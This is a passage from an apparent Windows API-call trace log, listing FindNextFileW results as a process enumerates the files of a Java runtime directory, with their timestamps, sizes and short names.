ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0071.275] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0071.276] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0071.278] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0071.278] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0071.278] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0071.278] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0071.278] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0071.279] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0071.279] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0071.279] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0071.279] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0071.280] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: 